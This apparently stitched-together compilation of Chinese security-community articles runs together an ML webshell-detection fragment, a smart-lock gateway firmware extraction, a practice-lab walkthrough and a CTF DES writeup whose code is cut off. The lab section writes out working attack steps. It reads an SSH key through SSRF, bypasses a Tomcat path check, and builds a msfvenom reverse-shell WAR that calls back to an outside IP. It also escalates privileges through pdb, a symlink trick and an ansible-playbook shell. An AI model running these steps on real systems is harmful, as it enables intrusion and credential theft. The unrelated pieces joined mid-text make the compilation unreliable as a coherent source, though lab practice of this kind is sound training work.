token_pattern = r'\b\w+\b',min_df=0,max_df=0.9)
x=CV.fit_transform(x_all).toarray()
transformer = TfidfTransformer(smooth_idf=False)
x_tfidf = transformer.fit_transform(x)
x = x_tfidf.toarray()
那么通过这个模型，我们就能将每个文件的ast语法结构序列给转化为一个统一的矩阵，并分别给黑白样本打上标记，进行有监督式的训练。这里黑样本来源于github上的开源仓库，白样本的获取其实有点难度，这里也是搜寻了大量的开源cms，不过白样本依然很少，原因比较简单，一个cms的jsp文件毕竟有限，所以这里唯一比较遗憾的就是数据量的问题。其中黑样本数量为632，白样本数量为470。
最后选取算法，这里参照前文的检测经验，初步选定了xgboost、随机森林、mlp等三种算法，最后经过漫长的调参和比较后，裁定各个算法的最优参数。
# 实验结果
采用随机算法的检测结果
采用xgboost算发的检测结果
采用mlp算法的检测结果
# 后记
回头看来，觉得整个实现思路上还是比较简单的，就是可能有几个坑点的确比较烦一点，不过感觉本文只能作为检测jsp/jspx
webshell的基本思路，复杂点的还是会被绕过，如果真的想要提高检测精度，自我感觉对参数语义的检测还是非常有必要的！
上述如有不当之处，敬请指出~ | 社区文章 |
**作者：Yimi Hu & Light @ PwnMonkeyLabs
原文链接：<https://mp.weixin.qq.com/s/ekNDsy3UzRMH0iXAm3Wc-w>**
## **简介**
本篇是胖猴小玩闹专题的第十篇，我们将在本篇和接下来的篇章中分析海康萤石品牌的智能门锁。海康威视作为国际化大厂，旗下如摄像头等产品早就被无数人分析过了，通过google和github等可以找到很多分析记录和分析工具。萤石是海康威视的一个子品牌，相比于海康威视，萤石的绝大部分产品侧重于家用领域，本文将要分析的智能门锁和网关也是萤石的产品。
在本专题的前几篇文章中，我们都在分析门锁和相关的app，这篇我们打算对门锁配套的网关进行一些分析（真正原因是门锁让我们搞坏了，虽然海康又补发了一个，但型号没对上）。刚刚看了看萤石的网上商城，最新的联网门锁已经没有外置网关了，我们在2019年分析的智能门锁还是有外置网关的款式，图片如下：
图1-1 海康萤石智能门锁网关
门锁和网关在拿到手之后，就已经是配对状态，我们不需要进行额外的配对操作。海康萤石智能门锁有一个配套使用的app，该app对服务端有证书校验，所以直接抓包是行不通的，由于我们这里是网关分析，所以就不讨论app的工作了，在本专题的后续文章中，还会遇到类似的问题，到那时我们在解决app的事。
## **网关分析**
### 2.1 通信分析
按照正常思路，肯定是先抓包看一下网关与服务器的通信内容，参考我们在本专题第6篇中的部署方法，通过交换机端口监控的方法抓取海康萤石网关的通信内容，如下图：
图2-1 海康萤石网关通信内容
通过上图中的通信内容，我们大体上可以分析出一些内容：
A. 网关上电之后，与litedev.ys7.com进行通信。
B.
与litedev.ys7.com通信中，获取了另一个ip，即101.71.30.172。此后，终止了与litedev.ys7.com通信，并一直保持与101.71.30.172的tcp连接。
C. 通信内容看起来是加密的，通信内容中没有很多直接可见的明文。
既然如此，那么就要看看海康萤石网关里面的程序了，研究研究网关固件是如何处理这些通信数据的。
### 2.2 电路分析
首先我们需要获取海康萤石网关的固件，这次并没有像之前的果加智能门锁那样顺利：萤石配套的app不能获取固件的下载地址，在海康和萤石的官网仔细翻找，同样没有查到固件的下载地址。那我们只好直接提取Flash中的数据了。首先拆开门锁网关，看看里面用了什么芯片，留了什么接口，截图如下：
图2-2 海康萤石门锁网关电路板
上图中，最明显的就是中间的MCU，仔细观察可以确认品牌和型号为MEDIATEK
MT7688AN，联发科的芯片，先下载一份芯片手册看一看，下载地址是：<http://labs.mediatek.com/zh-cn/chipset/MT7688>。
通过阅读芯片手册（遥想笔者在校时还拿了MTK的企业奖学金，现在翻人家芯片手册的原因竟然是要搞人家产品），可以找到关于Flash的部分内容：
图2-3 MT7688AN芯片的特点
上图可以看到该芯片并没有内置Flash，而是使用SPI通信的外置Flash。那么，就继续看看电路板上的其他芯片。
在图2-2中，MCU的上方是Winbond W9751G6KB芯片，该芯片是DDR2
SDRAM存储器，简单说就是断电丢数据的内存，固件程序不可能在里面。在MCU的下方有两个芯片，分别是PCM5100A和GD25Q127CSIG芯片，
PCM5100A是个音频立体声DAC芯片，而GD25Q127CSIG芯片则是128M-bit的Flash芯片，我们要提取的固件文件应该就是在此Flash中。
要读取Flash芯片，一个简单的方法是直接用烧录夹提取，其优点是不用将芯片焊下来。不巧的是，烧录夹有点粗，海康萤石的门锁网关设计的很紧凑，我们的夹子夹不上去。如此一来，只好将芯片取下来，用热风枪和镊子就可以把Flash吹下来了，如下图所示：
图2-4 热风枪吹取Flash芯片
如果没有热风枪，用电烙铁也是可以的，注意手别抖就好。然后将摘下来的芯片放在编程器上，如下图：
图2-5 将Flash芯片放置于编程器上
然后使用编程器的配套软件，通常情况下软件是可以自动识别出Flash品牌和型号的，但有时也需要我们手动选择。在GD官网查到该Flash的详细参数，网址如下：https://www.gigadevice.com/zh-hans/flash-memory/gd25q127c/，截图如下：
图2-6 GD25Q127CSIG详细属性
上图中，可以看到Flash大小为128Mb，即16MB，完成Flash芯片的配置工作之后，就可以读出Flash内容了，如下图所示：
图2-7 使用编程器提取固件
读出完毕之后，即可将读出的数据保存为一个文件，我们将其命名为OriginFirmware.bin文件。由于我们买的编程器是很便宜的那种，提取时有时会出现一些错误，可以多提取几次。获得固件之后，就可以开始分析固件内容了。
### 2.3 固件内容分析
在本专题的第6篇中，我们就展示过binwalk这款用于固件分析的工具。这里，我们直接用-Me参数提取固件内容，其中M参数表示递归提取：
图2-8 binwalk提取固件内容
根据binwalk的分析结果，我们可以判断固件应该包含一个嵌入式Linux操作系统，智能网关的主要功能逻辑应该由某个Linux可执行程序完成。待binwalk运行完毕之后，会生成几个文件夹，分别是2个squashfs文件系统，2个LZMA压缩的数据，以及1个jffs2文件系统，如下图所示：
图2-9 海康萤石网关提取内容
上图中，前2个文件夹即2个LZMA压缩的数据，解压之后会发现是cpio文件系统，binwalk会自动帮我们递归全部提取。
逐个浏览这些文件系统中的内容，可以得出结论如下：
A. jffs2文件系统保存着门锁和网关的相关信息，如id等；
B. 两个cpio文件系统中，其中一个应该是恢复出厂设置时的备份文件系统，另一个是当前正在使用的文件系统；
C. 两个squashfs文件系统中，一个保存的全部都是mp3文件，另一个保存着网关的主程序，该程序即为我们将要分析的主程序。
到此，我们已经将完整的固件提取出来，至于逆向分析的工作就先放一放，将目光重新聚焦于电路板上。
### 2.4 UART接口分析
UART接口是IoT设备中最常用的通信接口，一般MCU都会提供UART引脚。在MT7688AN的芯片手册中，我们可以看到该芯片UART0接口和UART1接口。其中UART0接口在30和31引脚，如下图：
图2-10 MT7688AN芯片UART0引脚位置
上图中，我们仅展示了UART0的位置，UART1可以自行查询芯片手册。如果海康萤石的网关没有屏蔽对UART的输入和输出，那么通过这些UART也许可以实现一些操作。为此，先要确定这些UART引脚是否被引出。在图2-2中，左侧我们可以看到一个软排线接口。海康萤石设计的电路板确实很紧凑，其他厂家的门锁或者网关一般用1.27mm或者2.54mm间距的排针，海康萤石的板子用的是0.5mm间距的软排线，如下图：
图2-11 海康萤石网关软排线接口
通过万用表即可测量引脚与此软排线接口的连通情况，使用万用表的二极管档，然后一个测试笔触碰UART_TXD0引脚，另一测试笔在软排线上滑动，听到万用表蜂鸣声时，即发现了接通的线路，如下图所示：
图2-12 海康萤石网关软排线接口
借由万用表的帮助，我们找到了与UART引脚连通在软排线接口。那么，可以想办法接上这个软排线，看一看固件在启动之后，UART口是否存在输出内容，不过这就留到下一篇中再详细讨论吧。
## **小结**
本篇是我们开始分析海康萤石门锁网关的第一篇。在本篇中，我们使用热风枪将网关的Flash芯片吹了下来，然后通过编程器提取出了Flash中的内容，最后通过binwalk工具提取出了固件内容。接下来我们又研究了一下电路板上的软排线接口和MCU的UART串口，在本专题的后续文章中，会继续研究UART串口以及其他的固件分析内容，希望大家有所收获。对了，吹下来的Flash不要扔，记得要吹回去啊。
* * * | 社区文章 |
目标是国外靶场
打过才知道 学的知识太少了
师傅们看看就行 大家都会 要是描述得不对的地方 求指点
本地环境： kali
## 首先是通过ssrf拿下的靶机
### 第一台
因为是连了vpn的所以可以直接扫
目标ip:10.10.11.111
拿到目标 只有ip 那就先扫端口
nmap -v -sSV -Pn 10.10.11.111 -T4 -sC
没啥信息 只有80端口 那就打开web看看
直接访问10.10.11.111
直接访问不了 添加host头
> echo “10.10.11.111 forge.xxx” >> /etc/hosts
然后在次访问
能访问了 发现有个上传的地方
上传试试
发现重命名的后缀名 不解析 上传应该是没办法了 找找其他突破
先扫扫目录 和子域名
目录：gobuster dir -u <http://forge.xxx/> -w /usr/share/wordlists/dirb/common.txt
子域名：wfuzz -c -u “<http://forge.xxx/“> -H “Host:FUZZ.forge.xxx” -w
/usr/share/amass/wordlists/subdomains-top1mil-5000.txt
目录没扫出什么 扫到一个子域名 先进入看看
还是不能直接访问 先加入到host
echo “10.10.11.111 admin.forge.xxx” >> /etc/hosts
提示只能本地访问
尝试加上X-Forwarded-For:127.0.0.1绕过失败。
但是前面那个上传的地方 还有一个上传路径的地方
但是直接上传会提示是黑名单地址
既然是黑名单 我们尝试绕过
大小写绕过了：<http://aDmin.forGe.xxx/>
然后访问页面发现报错
然后通过抓返回包发现一个路径
然后继续通过ssrf访问这个路径 继续进行抓包
<http://aDmin.forGe.xxx/announcements>
<https://api2.mubu.com/v3/document_image/cb0a69bb-5fc7-4748-9206-7e7b3a5a4b94-11763069.jpg>
然后访问路径抓取返回包 获得了ftp的密码
user:heightofsecurity123!
以及获取/upload目录API用法，u=url
<http://aDmin.forGe.xxx/upload?u=url>
然后结合起来读取ftp
ftp://user:[email protected]
<http://aDmin.forGe.xxx/upload?u=ftp://user:[email protected]>
然后继续bp抓返回包
可以成功访问到，也就是说我们现在可以利用ssrf读取系统文件了。user.txt在这就说明现在已经是用户家目录了。读取ssh私钥
<http://aDmin.forGe.xxx/upload?u=ftp://user:[email protected]/.ssh/id_rsa>
用同样的方法读取
然后保存id_rsa
然后ssh连接
ssh -i id_rsa [email protected]
成功连接上来
### 提权
sudo -l 发现一个不需要密码执行的py文件
然后看下这个文件
发现是简历socket链接 监听40433端口 那就先执行这个py文件看看
先执行py文件看看 然后在用nc连接
然后在随便输入的时候 发现会调用pdb调试
pdb模式下是可以执行python代码的。于是直接给bash加上suid提权
pdb：pdb是The Python
Debugger的缩写，为Python标准库的一个模块。该模块规定了一个Python程序交互式源代码调试器，支持设置断点，也支持源码级单步调试，栈帧监视，源代码列出，任意栈帧上下文的随机Python代码估值。
到此 这一台也就提权完毕
## 第二台 利用ansible-playbook提权
### 第二台
目标ip：10.10.10.250
拿到目标还是先扫描端口 进行信息收集
命令：nmap -v -sSV -Pn 10.10.10.250 -T4 -sC
发现开了22 443 8080
直接先打开8080端口看看
发现是一个登陆框 cms是 gitbucket
试了下弱口令 发现不存在 那就注册一个
注册之后然后登录
这应该是一个代码仓库
因为前面还有443端口开发 打开443端口看看
之前nmap扫描出443端口，但是无法访问https，写入hosts尝试登录
添加到host 因为扫描出有一个seal.xxx
echo 10.10.10.250 seal.xxx >> /etc/hosts
是一个商城 那8080 的的确是443的代码库
然后继续翻代码库 通过找最近commits 在tomcat里面翻到了账户密码
<http://10.10.10.250:8080/root/seal_market/commit/971f3aa3f0a0cc8aac12fd696d9631ca540f44c7>
username = tomcat
password = 42MrHBf*z8{Z%
尝试访问tomcat默认登录目录
/manager/status
<https://seal.xxx/manager/status>
输入找到的账户密码 成功登录
因为前面根据nmap 扫描出tomcat是通过反代的 这样会存在一个问题
这个问题这里参考<https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/>
管理界面/manager/html无法访问显示权限不够
这里就可以利用tomcat 和反代的漏洞 用..;/绕过
<https://seal.xxx/manager/status/..;/html>
然后这里有一个上传的地方
然后打包一个war包的shell上传
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.46 LPORT=6666 -f war -o
shell.war
在上传之前，请记住一件事。这里存在路径遍历漏洞。所以，你不能直接上传.war文件。唯一的过程是在上传之前修改路径，因此我在Burpsuite中拦截了上传请求以进一步修改。
上传之后 开启监听 然后访问 <https://seal.xxx/shell/>
nc -lvvp 6666
发现还有个luis 这个开始在8080端口里面也发现了
然后在lusi目录下发现user.txt
命令：find / -name user.txt
但是查看user.txt的时候发现没有权限
需要提权了
### 提权
在查看进程的时候发现了一个有趣的进程
命令：ps aux | grep root
然后我们看看run.yml文件
发现tomcat只有读的权限
cat /opt/backups/playbook/run.yml
第 4 行至关重要。看起来这里脚本copy_links=yes在src和dest文件之间建立了符号链接（As ）。然后在第 8
行，它/opt/backups/archives以 gzip
格式备份文件。检查/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录，
发现只有uploads目录可写
网上了解搜索一下ansible playbook：<https://blog.51cto.com/u_9019400/2385520>
这个yml是在做文件备份
所以创建一个指向luis的id_rsa的软链接文件，我们可以把它放到/uploads目录中
命令：ln -s ~/home/luis/.ssh/id_rsa
/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa
然后可以在/opt/backups/archives下看到gz文件 然后解压
然后将压缩文件复制到tmp目录下
然后解压
命令：tar -xvf t.tar.gz
切换到uploads目录然后查看id_rsa
保存到本地
然后ssh 连接 但是在连接之前 需要给chmod 600
然后成功查看user.txt
cat user.txt
### 提权root
#### 第一种提权
sudo -l
发现luis不用密码就可以以root 执行ansible-playebook
直接在提权网址发现一个提权方式
命令：
TF=$(mktemp)
echo ‘[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty
2>/dev/tty]}]‘ >$TF
sudo ansible-playbook $TF
这样提权太快了
提权网址：<https://gtfobins.github.io/#>
#### 第二种提权：
创建一个root.yml文件
然后：sudo /usr/bin/ansible-playbook root.yml
#### 第三种则是直接复制root.txt 也是创建yml文件
name: Ansible Copy Example Local to Remote
hosts: localhost
tasks:
name: copying file with playbook
become: true
copy:
src: /root/root.txt
dest: /dev/shm
owner: luis
group: luis
mode: 0777
使用sudo /usr/bin/ansible-playbook执行root.yml文件
然后在dev/shm下找到root.txt
## 总结
通过这两个靶机 还是学到了不少 ssrf的利用 通过返回包看见a标签里面有一个路径 然后ssrf读取 发现密钥 到最后通过 pdb提权
以及tomcat的..;绕过的方式 然后上传war 拿下shell 以及后面的利用ansible-playbook提权
最后 还是知识面不够阿
有什么不足 写得不对的地方 求师傅们指点 | 社区文章 |
# 2019全国大学生信息安全竞赛初赛 Crypto Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
ciscn 2019，Crypto真的没有排面，题目都比较基础，最后总分也不到300，可以说是比较影响参赛体验了。
下面包括后三道的writeup，（puzzles做不出来还是去考研吧别打CTF了）。
## 0x00 partDES
### 题目内容：
Round n part_encode-> 0x92d915250119e12b
Key map -> 0xe0be661032d5f0b676f82095e4d67623628fe6d376363183aed373a60167af537b46abc2af53d97485591f5bd94b944a3f49d94897ea1f699d1cdc291f2d9d4a5c705f2cad89e938dbacaca15e10d8aeaed90236f0be2e954a8cf0bea6112e84
### 操作内容：
这个题有点脑洞，拿到手不太明白要做什么，可以先处理数据。
from Crypto.Util.number import long_to_bytes
key_map = 0xe0be661032d5f0b676f82095e4d67623628fe6d376363183aed373a60167af537b46abc2af53d97485591f5bd94b944a3f49d94897ea1f699d1cdc291f2d9d4a5c705f2cad89e938dbacaca15e10d8aeaed90236f0be2e954a8cf0bea6112e84
long_to_bytes(key_map)
#Out: b'xe0xbefx102xd5xf0xb6vxf8 x95xe4xd6v#bx8fxe6xd3v61x83xaexd3sxa6x01gxafS{Fxabxc2xafSxd9tx85Yx1f[xd9Kx94J?Ixd9Hx97xeax1fix9dx1cxdc)x1f-x9dJ\p_,xadx89xe98xdbxacxacxa1^x10xd8xaexaexd9x026xf0xbe.x95Jx8cxf0xbexa6x11.x84'
可以看到key_map是 96*8 = 768 位，恰好des子密钥也是768位（16*48），所以可以确定 key_map
就是子密钥，而`0x92d915250119e12b`为des进行n轮的中间输出。
那么对于这样一个中间结果，我们可以使用子密钥进行解密，解密时注意下面几点：
1. 对于只进行了n轮的加密结果，解密时应依次使用密钥 n, n-1…, 1。
2. 未完成的 des 没有交换左右两部分和逆初始置换，因此解密时我们也不应进行初始置换，并且需要交换密文左右两部分。
3. 对于n，可以暴破，因为最多16种可能。
解题代码：
kkk = 16
def bit_rot_left(lst, pos):
return lst[pos:] + lst[:pos]
class DES:
IP = [
58,50,42,34,26,18,10,2,60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,64,56,48,40,32,24,16,8,
57,49,41,33,25,17,9,1,59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7
]
IP_re = [
40,8,48,16,56,24,64,32,39,7,47,15,55,23,63,31,
38,6,46,14,54,22,62,30,37,5,45,13,53,21,61,29,
36,4,44,12,52,20,60,28,35,3,43,11,51,19,59,27,
34,2,42,10,50,18,58,26,33,1,41,9,49,17,57,25
]
Pbox = [
16,7,20,21,29,12,28,17,1,15,23,26,5,18,31,10,
2,8,24,14,32,27,3,9,19,13,30,6,22,11,4,25
]
E = [
32,1,2,3,4,5,4,5,6,7,8,9,
8,9,10,11,12,13,12,13,14,15,16,17,
16,17,18,19,20,21,20,21,22,23,24,25,
24,25,26,27,28,29,28,29,30,31,32,1
]
PC1 = [
57,49,41,33,25,17,9,1,58,50,42,34,26,18,
10,2,59,51,43,35,27,19,11,3,60,52,44,36,
63,55,47,39,31,23,15,7,62,54,46,38,30,22,
14,6,61,53,45,37,29,21,13,5,28,20,12,4
]
PC2 = [
14,17,11,24,1,5,3,28,15,6,21,10,
23,19,12,4,26,8,16,7,27,20,13,2,
41,52,31,37,47,55,30,40,51,45,33,48,
44,49,39,56,34,53,46,42,50,36,29,32
]
Sbox = [
[
[14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7],
[0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8],
[4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0],
[15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13],
],
[
[15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10],
[3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5],
[0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15],
[13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9],
],
[
[10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8],
[13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1],
[13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7],
[1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12],
],
[
[7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15],
[13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9],
[10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4],
[3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14],
],
[
[2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9],
[14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6],
[4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14],
[11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3],
],
[
[12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11],
[10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8],
[9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6],
[4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13],
],
[
[4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1],
[13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6],
[1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2],
[6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12],
],
[
[13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7],
[1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2],
[7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8],
[2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11],
]
]
rout = [1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1]
def __init__(self):
self.subkey = [[[1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1], [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1], [1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1], [1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1], [1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1], [1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0], [1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1], [0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0], [0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0], [0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1], [0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0], [0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0], [1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0], [1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0], [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0], [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0]], [[1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0], [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0], [1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0], [1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0], [0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0], [0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1], [0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0], [0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0], [1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1], [1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0], [1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1], [1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1], [1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1], [1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1], [1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1]]]
def permute(self, lst, tb):
return [lst[i-1] for i in tb]
def f(self,riti,subkeyi):
tmp = [i^j for i,j in zip(subkeyi,self.permute(riti,DES.E))]
return self.permute(sum([[int(l) for l in str(bin(DES.Sbox[i][int(str(tmp[6*i])+str(tmp[6*i+5]),2)][int("".join(str(j) for j in tmp[6*i+1:6*i+5]),2)])[2:].zfill(4))] for i in range(8)],[]),DES.Pbox)
def des_main(self,m,mark):
sbkey = self.subkey[0]
#if mark == 'e' else self.subkey[1]
# tmp = self.permute([int(i) for i in list((m).ljust(64,"0"))],self.IP)
